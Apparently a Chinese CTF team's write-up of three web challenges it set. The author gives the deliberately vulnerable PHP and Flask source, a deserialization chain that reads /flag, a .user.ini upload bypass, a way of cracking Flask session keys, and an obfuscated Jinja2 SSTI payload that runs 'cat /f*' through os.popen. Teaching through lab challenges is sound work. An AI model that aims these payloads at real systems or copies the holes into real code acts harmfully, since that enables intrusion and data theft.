Start

除了梦想外一无所有的我们,将会和蔑视与困境做最后的斗争,这是最后一舞

N0wayBack 联合战队成立以来一直致力于信息安全技术的研究,作为联合战队活跃在各大 CTF (信息安全竞赛)赛事之中,并依靠着过硬的实力吸引了无数同样热爱安全的小伙伴。战队现有师傅20余名,特训学生10余名,包括了研、本科学生,企、事业单位员工以及网安实验室成员,内部氛围融洽,关系和谐。虽然我们可能身份各异、年龄跨岭,但在这里,我们只有一个身份,那就是热爱网安的CTFer

给MiniNK师傅出的web题,正好最近有点心得,又逢考试月,心情难免有点压抑,出题释放释放我的emo情绪。

ezpop

最近做反序列化的题真是有点多,每次都得坐会牢,新鲜的玩法暂时还没想到,就想着整点老玩法吧,字符逃逸,嗯,感觉有点简单了,配不上Mini师傅的身份,那浅浅加个原生类利用,就当做mini师傅的签到题了。首先先手撸php代码,过程有点曲折,直接放源码了:

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $name;
public $a;
public $b;
public function __construct(){
$this->name = '学霸';
}
public function Eval(){
if($this->name != '学渣'){
die('不是学渣不配拿flag');
} else {
echo new $this->a($this->b);
}
}
public function __call($a,$b){
$this->Eval();
}
}
class B{
public $en;
public $test;
public function __construct($en){
$this->en = $en;
}
public function __destruct(){
echo $this->test;
}
}
class C{
public $good;
public function __toString(){
$this->good->havefun();
}
}
if(isset($_POST['p'])){
$p = $_POST['p'];
$p = preg_replace('/学渣/i','学霸', $p);
$p = preg_replace('/heizi/i','lanqiu', $p);
echo unserialize($p);
}
?>

非常简单的一道反序列化,坏了,怎么长的像篮球杯,感觉有点疯魔了,算了,就这样吧,还是有差别的。链子很简单,B::__destruct() -> C::__toString() -> A::__call -> A::Eval,进入到Eval,我们就能利用原生类读取文件了。这里需注意的是学渣被替换成学霸导致无法进入Eval,我们可以利用十六进制来绕过这个替换,S下的内容会以十六进制的形式被识别。

链子exp如下:

<?php
class A{
public $name="学渣";
public $a;
public $b;
}
class B{
public $en = 'heizi';
public $test;
}
class C{
public $good;
}
$a = new A;
$b = new B;
$c = new C;
$b->test = $c;
$b->en = 'heiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheizi";s:4:"test";O:1:"C":1:{s:4:"good";O:1:"A":3:{s:4:"name";S:6:"\e5\ad\a6\e6\b8\a3";s:1:"a";s:13:"SplFileObject";s:1:"b";s:54:"php://filter/read=convert.base64-encode/resource=/flag";}}}';
$c->good = $a;
$a->a = 'SplFileObject';
$a->b = 'php://filter/read=convert.base64-encode/resource=/flag';
echo serialize($b);
?>

不知所措

本来想出一个实战中遇见的伪静态页面注入,但实现起来有点困难,火烧眉毛了,就准备换个题型出,想了半天打算出个文件上传,但又不能过于简单,突然灵光一闪,就有了这题

#index.php
<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
#upload.php
<?php
highlight_file(__FILE__);
$file = $_FILES['file'];
if(!$file){
exit("请勿上传空文件");
}
$dir = "upload/";
$name = $_FILES['file']['name'];
$tmp = $_FILES['file']['tmp_name'];
echo $tmp;
$ext = substr(strrchr($name, '.'), 0);
if(preg_match('/p|h|s|[0-9]/i',$ext)){
$ext = ".jpg";
$name = time().$ext;
}
$path = $dir.$name;
move_uploaded_file($tmp, $path);
?>

简单的做了个过滤,会将上传的文件名替换成时间戳+.jpg,但是这段代码逻辑存在些缺陷,如果我们上传.user.ini就会是原样上传,这里考查选手编写脚本爆破时间戳文件名的能力和意识到.user.ini的存在

import requests
import time
url = "http://192.168.13.83:9999/upload.php"
file = open('a.php', 'r')
r = requests.post(url, files={"file": file})
print(str(time.time())[:10])

非常的简单,这里时间戳跟上传的居然完全一样,难度再度下降,早知道设置个sleep了

无中生有

江郎才尽了,没有一丝丝灵感。突然想到一个考点见的很少,flask seesion,大家都熟透了,大部分似乎都是找app.secret ,很少见到来爆破secret的,嗯,想想就一阵激动。这里就不得不提一个工具: flask-unsign, 这个被打包成了pip,安装直接pip install flask-unsign ,完全可以当作flask-session-manager的替代品。爆破命令:

flask-unsign --unsign --cookie="Your_session"

爆出key: root,题目流程很简单,伪造session成admin后我们就能使用ssti这个点了,ssti当然差不多拉到最高level的过滤了,老生常谈,也是考一个比较偏僻的特性

'%c%c%c%c········'|format(99,99,99,98·······)

很明显,format(99)后的字符填充到%c处,这样可以绕过大部分对于关键字的过滤了。过滤了. 用attr来拼接,究极payload就是:

{%print%09config|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('o'+'s')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('cat /f*')|attr('%c%c%c%c'|format(114,101,97,100))()%}

利用的类很多,并不局限于我这一种。这里是题目源码,写的很草率,师傅们轻喷:

#app.py
from flask import Flask, request, render_template, session, render_template_string
app = Flask(__name__)
app.secret_key = "root" @app.route('/')
def index():
session['username'] = 'guest'
return render_template_string('<!-- /hello 下有好东西给你康-->')
@app.route('/hello', methods=['GET'])
def hello():
name = request.args.get('name')
black_list = ['\"', '__', ' ', '.', 'chr', '[', '{{', '}}', ']', 'os', 'popen', 'class', 'subclass', '\\x', 'import', 'lipsum', 'globals', 'init']
if name:
for i in black_list:
if i in name:
return render_template_string('<script>alert("hacker!!!")</script>') if session.get('username') == 'admin':
context = render_template('templates.html')
context = context.format(name)
return render_template_string(context)
else:
return "只有admin才有资格使用这个功能哦"
else:
return render_template_string('<h1>Hello 旅行者</h1>')
if __name__ == '__main__':
app.run(host="0.0.0.0")
<!-- templates.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>HELLO</title>
</head>
<body>
Hello {}
</body>
</html>
#Dockerfile
# 基于的基础镜像,这里使用python,开发版本是 3.9.2 ,基础镜像也写3.9.2
FROM python:3.9.2
# /app 是要部署到服务器上的路径
WORKDIR /app
# Docker 避免每次更新代码后都重新安装依赖,先将依赖文件拷贝到项目中
COPY requirements.txt requirements.txt
# 执行指令,安装依赖
RUN pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
# COPY指令和ADD指令功能和使用方式类似。只是COPY指令不会做自动解压工作。
# 拷贝项目文件和代码
COPY . .
# 执行指令,字符串间是以空格间隔
CMD ["gunicorn", "app:app", "-c", "./gunicorn.conf.py"]

requirements.txt

gunicorn
gevent
flask
#gunicorn.conf.py
workers = 5 # 定义同时开启的处理请求的进程数量,根据网站流量适当调整
worker_class = "gevent" # 采用gevent库,支持异步处理请求,提高吞吐量
bind = "0.0.0.0:80" #设置端口80,这里注意要设置成0.0.0.0,如果设置为127.0.0.1的话就只能本地访问服务了

End

祝师傅们玩的开心

We are still on the way, welcome to join us!

MiniNK WEB 选拔题 by F12的更多相关文章

  1. 3.24网络攻防选拔题部分write up

    20175221  3.24网络攻防选拔题部分write up Q1:百度一下,你就知道 解压题目得到一个文件夹和一个网址 打开文件夹,有三张图片 用winhex和stegsolve查看三张图片,没有 ...

  2. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  3. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  4. 攻防世界web进阶题—unfinish

    攻防世界web进阶题-unfinish 1.看一下题目提示SQL 2.打开题目看一下源码,没有问题 3.查一下网站的组成:php+Apache/2.4.7+Ubuntu 4.扫一下目录,扫到一个注册页 ...

  5. 攻防世界web进阶题—bug

    攻防世界web进阶题-bug 1.打开题目看一下源码,没有问题 2.扫一下目录,没有问题 3.查一下网站的组成:php+Apache+Ubuntu 只有登录界面 这里可以可以想到:爆破.万能密码.进行 ...

  6. web做题记录

    2020.1.19 南邮ctf 签到题 题目:key在哪里? 在火狐浏览器中右键选择打开查看源代码,在源代码可以看到如下 因为是第一次做这个题,不知道提交啥,我先提交了“admiaanaaaaaaaa ...

  7. Web开发经验谈之F12开发者工具/Web调试[利刃篇]

    引语:如今的整个Web开发行业甚至说整个软件开发行业,已经相当成熟,基本上已经很少找不到没有前人做过的东西了,或者换句话说,你想要实现的功能,你总能在某个地方搜索到答案,关键是你有没有这个时间精力去搜 ...

  8. 一道web入门题

    9月27日00:00 这道题是我将hctf_warmup魔改之后得到的,难度比较低,主要还是讲一些web相关的思考方式,所以这篇文章会比较冗长过于详细.(毕竟是给小姑娘入门看的23333).就当M1s ...

  9. 【CTF WEB】ISCC 2016 web 2题记录

      偶然看到的比赛,我等渣渣跟风做两题,剩下的题目工作太忙没有时间继续做. 第1题 sql注入: 题目知识 考察sql注入知识,题目地址:http://101.200.145.44/web1//ind ...

  10. 上周日选拔题部分write up

    ---恢复内容开始--- 第一题.平淡无奇的签到题,“百度一下,你就知道”,打开之后会弹出一个百度的网页页面.网页题第一步,先查看它的源代码.从上往下看,发现了这样一行字 看起来有点像base编码,于 ...

随机推荐

  1. 【SpringCloud】(二)Eureka注册中心和Feign远程调用

    1 SpringCloud 核心 SpringCloud基于HTTP协议,这是和Dubbo最本质的区别,Dubbo的核心是RPC(远程方法调用) Eureka:注册中心 Ribbon:客户端负载均衡 ...

  2. 【Dotnet 工具箱】WPF UI - 现代化设计的开源 WPF 框架

    1.WPF UI - 现代化设计的开源 WPF 框架 WPF UI 是一个基于 C# 开发的, 拥有 4k star 的开源 UI 框架.WPF UI 在 WPF 的基础上,提供了更多的现代化,流利的 ...

  3. odoo wizard界面显示带复选框列表及勾选数据获取

    实践环境 Odoo 14.0-20221212 (Community Edition) 需求描述 如下图(非实际项目界面截图,仅用于介绍本文主题),打开记录详情页(form视图),点击某个按钮(图中的 ...

  4. C# 模拟界面点击/UI自动化测试

    有一些UI自动化测试框架,能够实现自动化测试. 本文介绍Peer(微软的TAF技术),也可以实现自动化测试,或是对其他进程进行UI操作.下面是案例~ 在界面上添加俩个按钮: 并处理相应的点击事件: 1 ...

  5. 【由浅入深学MySQL】- MySQL连接查询详解

    本系列为:MySQL数据库详解,为千锋教育资深Java教学老师独家创作 致力于为大家讲解清晰MySQL数据库相关知识点,含有丰富的代码案例及讲解.如果感觉对大家有帮助的话,可以[点个关注]持续追更~ ...

  6. 2022-06-14:数组的最大与和。 给你一个长度为 n 的整数数组 nums 和一个整数 numSlots ,满足2 * numSlots >= n 。总共有 numSlots 个篮子,编号为 1

    2022-06-14:数组的最大与和. 给你一个长度为 n 的整数数组 nums 和一个整数 numSlots ,满足2 * numSlots >= n .总共有 numSlots 个篮子,编号 ...

  7. 2021-11-22:给定一个正数数组arr,表示每个小朋友的得分; 任何两个相邻的小朋友,如果得分一样,怎么分糖果无所谓,但如果得分不一样,分数大的一定要比分数少的多拿一些糖果; 假设所有的小朋友坐

    2021-11-22:给定一个正数数组arr,表示每个小朋友的得分: 任何两个相邻的小朋友,如果得分一样,怎么分糖果无所谓,但如果得分不一样,分数大的一定要比分数少的多拿一些糖果: 假设所有的小朋友坐 ...

  8. vue 版本查看

    如何查看vue版本号? 方法1.全局查看vue版本号 npm info vue方法2.局部(当前项目)查vue版本号 npm list vue version方法3.此外还可以通过 package.j ...

  9. XTU OJ 程设训练 1407 Alice and Bob

    题目描述 Alice和Bob打球,已知他们打过的每一回合的输赢情况,每个回合获胜的一方可以得一分. Alice可以随意设定赢得一局比赛所需的分数和赢得整个比赛所需要的局数. Alice想赢得比赛,请问 ...

  10. 《MS17-010(永恒之蓝)—漏洞复现及防范》

    作者: susususuao 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 一. 什么是永恒之蓝? - 永恒之蓝 永恒之蓝(Eternal Blue)是一种利用Window ...